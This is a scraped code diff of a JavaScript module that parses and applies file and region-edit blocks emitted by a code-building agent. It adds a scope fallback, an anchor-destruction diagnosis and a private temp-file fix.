const EDIT_SPLIT_RE = /^<{3,}[ \t]*OLD[ \t]*\r?\n([\s\S]*?)\r?\n={3,}[ \t]*\r?\n(?:([\s\S]*?)\r?\n)?>{3,}[ \t]*NEW[ \t]*\r?$/m;
|
|
92
|
-
|
|
93
|
-
/** A `DELETE: <path>` line inside the ## Changed Files section. */
|
|
94
|
-
const DELETE_RE = /^[ \t]*DELETE:[ \t]*(\S.*?)[ \t]*$/gim;
|
|
95
|
-
|
|
96
50
|
/**
|
|
97
51
|
* Typed error for the region-edit apply path, so a consumer can map it to a
|
|
98
52
|
* distinct exit code and a message that tells step_4 how to fix its anchor.
|
|
@@ -119,15 +73,15 @@ class MaterializeError extends Error {
|
|
|
119
73
|
* reason: string|null
|
|
120
74
|
* }}
|
|
121
75
|
*/
|
|
122
|
-
|
|
123
|
-
|
|
76
|
+
/**
|
|
77
|
+
* HC-GF-191: the parser, over an ALREADY-SCOPED string. Split out so the same reading can be run
|
|
78
|
+
* twice — once over the mandated section, and once over the whole artifact when that section
|
|
79
|
+
* turned out to hold nothing. It used to compute its own scope, which made "what did the scope
|
|
80
|
+
* cost us?" a question no caller could ask.
|
|
81
|
+
*/
|
|
82
|
+
function parseBlocksIn(scope) {
|
|
124
83
|
const empty = { files: [], edits: [], deletes: [], malformed: [], noChanges: false, reason: null };
|
|
125
84
|
|
|
126
|
-
// Scope everything to the ## Changed Files section if present, so a code
|
|
127
|
-
// sample elsewhere in the prose is never mistaken for an intended file.
|
|
128
|
-
const secIdx = text.search(/^##\s+Changed Files/im);
|
|
129
|
-
const scope = secIdx === -1 ? text : text.slice(secIdx);
|
|
130
|
-
|
|
131
85
|
// Honest no-op, same shape as the followup-19 NO CHANGES escape. A NO CHANGES
|
|
132
86
|
// declaration only counts when there is NO file AND NO edit block to apply.
|
|
133
87
|
const hasBlock = (FILE_BLOCK_RE.test(scope) || EDIT_OPEN_RE.test(scope));
|
|
@@ -158,10 +112,10 @@ function extractFileBlocks(output) {
|
|
|
158
112
|
const parsedAt = new Set();
|
|
159
113
|
for (const m of scope.matchAll(EDIT_BLOCK_RE)) {
|
|
160
114
|
parsedAt.add(m.index);
|
|
161
|
-
const rel = normalizeRepoPath(m[
|
|
115
|
+
const rel = normalizeRepoPath(m[2]); // HC-GF-290: m[1] is the fence now
|
|
162
116
|
if (!rel) continue;
|
|
163
117
|
if (seen.has(rel)) continue; // a whole-file block wins
|
|
164
|
-
const split = EDIT_SPLIT_RE.exec(m[
|
|
118
|
+
const split = EDIT_SPLIT_RE.exec(m[3]);
|
|
165
119
|
if (!split) { // no OLD/NEW markers: reported, and buildDiff refuses the patch
|
|
166
120
|
malformed.push({ path: rel, reason: 'no <<<<<<< OLD / ======= / >>>>>>> NEW markers' });
|
|
167
121
|
continue;
|
|
@@ -224,6 +178,49 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
|
|
|
224
178
|
return src.slice(0, idx) + String(newString) + src.slice(idx + anchor.length);
|
|
225
179
|
}
|
|
226
180
|
|
|
181
|
+
/**
|
|
182
|
+
* HC-GF-265 — the two-index diagnosis. BYTE-IDENTICAL to the copy in
|
|
183
|
+
* server/src/services/carry-forward.js (the server cannot require the CLI package, so the
|
|
184
|
+
* wording is restated, not imported); parity is pinned by
|
|
185
|
+
* tests/regression/HC-GF-265-diagnosis-message-parity.test.js.
|
|
186
|
+
*/
|
|
187
|
+
function destroyedAnchorSuffix(j, k, total) {
|
|
188
|
+
return `Edit ${j} of ${total} rewrote this anchor: it matched before edit ${j} was applied and not after. `
|
|
189
|
+
+ `Merge edits ${j} and ${k} into ONE edit whose OLD is the text as it stands before either change.`;
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
/**
|
|
193
|
+
* HC-GF-265 — which EARLIER edit destroyed edit k's anchor. Returns a 0-based index, or null.
|
|
194
|
+
*
|
|
195
|
+
* Runs only on the failure path, so an accept/reject outcome cannot change: nothing is
|
|
196
|
+
* pre-checked. Edit ORDER is load-bearing (HC-GF-109, run 1a8940af), so the earlier edits are
|
|
197
|
+
* REPLAYED over the original base rather than matched against it — which is why run 011f04c7,
|
|
198
|
+
* where two edits share an OLD first line and both apply, is never touched.
|
|
199
|
+
*
|
|
200
|
+
* null means "today's message": the anchor matched at no stage of the replay (the HC-GF-222 shape,
|
|
201
|
+
* explicitly out of scope), the anchor is empty, or no earlier edit stopped it matching. An anchor
|
|
202
|
+
* absent from the ORIGINAL file is still replayed: an earlier edit may have inserted it (HC-GF-109). Never fabricates
|
|
203
|
+
* a pair. The LAST >0→0 transition wins: if edit j destroys the anchor and a later edit
|
|
204
|
+
* re-inserts it, the culprit is the edit after the re-insertion, not j.
|
|
205
|
+
*/
|
|
206
|
+
function diagnoseDestroyedAnchor(baseContents, edits, k) {
|
|
207
|
+
const anchor = String((edits[k] && edits[k].oldString) || '');
|
|
208
|
+
if (!anchor || k < 1) return null;
|
|
209
|
+
let cur = String(baseContents);
|
|
210
|
+
let lastBreak = null;
|
|
211
|
+
for (let j = 0; j < k; j++) {
|
|
212
|
+
let next;
|
|
213
|
+
try {
|
|
214
|
+
next = applyEdit(cur, edits[j].oldString, edits[j].newString, '');
|
|
215
|
+
} catch {
|
|
216
|
+
return lastBreak; // replay diverged — report only what is established, never a guess
|
|
217
|
+
}
|
|
218
|
+
if (countOccurrences(cur, anchor) > 0 && countOccurrences(next, anchor) === 0) lastBreak = j;
|
|
219
|
+
cur = next;
|
|
220
|
+
}
|
|
221
|
+
return lastBreak;
|
|
222
|
+
}
|
|
223
|
+
|
|
227
224
|
/**
|
|
228
225
|
* HC-GF-109 — apply every region edit for ONE file, as one change.
|
|
229
226
|
*
|
|
@@ -241,9 +238,21 @@ function applyEdit(fileContents, oldString, newString, repoPath) {
|
|
|
241
238
|
* @throws {MaterializeError} code 'anchor_not_found' | 'anchor_ambiguous'
|
|
242
239
|
*/
|
|
243
240
|
function applyEdits(fileContents, edits, repoPath) {
|
|
244
|
-
|
|
241
|
+
const base = String(fileContents);
|
|
242
|
+
let out = base;
|
|
245
243
|
edits.forEach((e, i) => {
|
|
246
|
-
|
|
244
|
+
const where = edits.length > 1 ? `${repoPath} (edit ${i + 1} of ${edits.length})` : repoPath;
|
|
245
|
+
try {
|
|
246
|
+
out = applyEdit(out, e.oldString, e.newString, where);
|
|
247
|
+
} catch (err) {
|
|
248
|
+
// HC-GF-265: only the not-found case is diagnosed. `anchor_ambiguous` already names the
|
|
249
|
+
// edit and is out of scope (HC-GF-109 pins its message), so it is rethrown untouched.
|
|
250
|
+
if (!(err instanceof MaterializeError) || err.code !== 'anchor_not_found') throw err;
|
|
251
|
+
const j = diagnoseDestroyedAnchor(base, edits, i);
|
|
252
|
+
if (j === null) throw err;
|
|
253
|
+
throw new MaterializeError('anchor_not_found',
|
|
254
|
+
`${err.message} ${destroyedAnchorSuffix(j + 1, i + 1, edits.length)}`);
|
|
255
|
+
}
|
|
247
256
|
});
|
|
248
257
|
return out;
|
|
249
258
|
}
|
|
@@ -429,7 +438,6 @@ function ensureTrailingNewline(s) {
|
|
|
429
438
|
*/
|
|
430
439
|
function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
|
|
431
440
|
const fs = require('node:fs');
|
|
432
|
-
const os = require('node:os');
|
|
433
441
|
const p = require('node:path');
|
|
434
442
|
const { execFileSync } = require('node:child_process');
|
|
435
443
|
const { gitEnv } = require('./git-env');
|
|
@@ -441,9 +449,10 @@ function nodeMaterializeIO({ cwd = process.cwd() } = {}) {
|
|
|
441
449
|
return fs.existsSync(abs) ? fs.readFileSync(abs, 'utf8') : null;
|
|
442
450
|
},
|
|
443
451
|
tmpFile: (contents) => {
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
452
|
+
// HC-GF-304: its own directory, not a name in the shared one that another local user can predict and plant.
|
|
453
|
+
const t = require('./private-temp').privateTempFile('hone-mat', `candidate-${n++}`);
|
|
454
|
+
fs.writeFileSync(t.file, contents);
|
|
455
|
+
return { path: t.file, cleanup: t.remove };
|
|
447
456
|
},
|
|
448
457
|
runGitDiff: (origArg, candPath) => {
|
|
449
458
|
let stdout = '', code = 0;
|
|
@@ -505,6 +514,51 @@ function hasMaterializableWork(blocks) {
|
|
|
505
514
|
(blocks.deletes || []).length > 0 || (blocks.malformed || []).length > 0;
|
|
506
515
|
}
|
|
507
516
|
|
|
517
|
+
|
|
518
|
+
/**
|
|
519
|
+
* Read the file / edit / delete blocks an agent emitted.
|
|
520
|
+
*
|
|
521
|
+
* Scoped to `## Changed Files` when that heading exists, so a code sample elsewhere in the prose
|
|
522
|
+
* is never mistaken for an intended file — the guard is right and is kept.
|
|
523
|
+
*
|
|
524
|
+
* HC-GF-191: what the guard could not survive is the heading arriving AFTER the blocks. On run
|
|
525
|
+
* 44a0c69f the builder emitted a complete implementation under `## Implementation Code` and then a
|
|
526
|
+
* `## Changed Files` SUMMARY below it, so the slice began past every block: 0 files, 0 edits, and
|
|
527
|
+
* 0 malformed. verify-patch reported "produced no file changes to verify" for a finished build,
|
|
528
|
+
* with nothing anywhere saying a section had been skipped.
|
|
529
|
+
*
|
|
530
|
+
* The fallback is narrow on purpose. It fires ONLY when the scoped section yields nothing, so
|
|
531
|
+
* wherever the mandated section holds real blocks there is nothing to confuse them with and the
|
|
532
|
+
* scope still wins. And it is never silent: `scopeFallback` plus a reason name the deviation,
|
|
533
|
+
* because a guard that quietly changes what it read is precisely how this defect reached a run.
|
|
534
|
+
*
|
|
535
|
+
* @param {string} output raw agent artifact
|
|
536
|
+
* @returns {{files: Array, edits: Array, deletes: Array, malformed: Array, noChanges: boolean,
|
|
537
|
+
* reason: string|null, scopeFallback?: boolean}}
|
|
538
|
+
*/
|
|
539
|
+
function extractFileBlocks(output) {
|
|
540
|
+
const text = String(output || '');
|
|
541
|
+
const secIdx = text.search(/^##\s+Changed Files/im);
|
|
542
|
+
if (secIdx === -1) return parseBlocksIn(text);
|
|
543
|
+
|
|
544
|
+
const scoped = parseBlocksIn(text.slice(secIdx));
|
|
545
|
+
if (hasMaterializableWork(scoped) || scoped.noChanges) return scoped;
|
|
546
|
+
|
|
547
|
+
// The mandated section held nothing. Before calling that "no changes", look at the whole
|
|
548
|
+
// artifact — the difference between "there is nothing to apply" and "what there is, is
|
|
549
|
+
// somewhere else" is the difference between an honest no-op and a lost build.
|
|
550
|
+
const whole = parseBlocksIn(text);
|
|
551
|
+
if (!hasMaterializableWork(whole)) return scoped;
|
|
552
|
+
|
|
553
|
+
return {
|
|
554
|
+
...whole,
|
|
555
|
+
scopeFallback: true,
|
|
556
|
+
reason: 'blocks were found OUTSIDE the `## Changed Files` section and read from the whole '
|
|
557
|
+
+ 'artifact instead. The code-builder contract puts them under that heading; emitting them '
|
|
558
|
+
+ 'above it (or under another heading) would otherwise be read as "no changes".',
|
|
559
|
+
};
|
|
560
|
+
}
|
|
561
|
+
|
|
508
562
|
module.exports = {
|
|
509
563
|
extractFileBlocks,
|
|
510
564
|
normalizeRepoPath,
|
|
@@ -515,6 +569,10 @@ module.exports = {
|
|
|
515
569
|
headMaterializeIO,
|
|
516
570
|
applyEdit,
|
|
517
571
|
applyEdits,
|
|
572
|
+
// HC-GF-265: exported so the resolved pair is asserted by BEHAVIOUR and so the wording can be
|
|
573
|
+
// compared against carry-forward.js's copy directly, not inferred from a message regex.
|
|
574
|
+
destroyedAnchorSuffix,
|
|
575
|
+
diagnoseDestroyedAnchor,
|
|
518
576
|
hasMaterializableWork,
|
|
519
577
|
EDIT_OPEN_RE,
|
|
520
578
|
countOccurrences,
|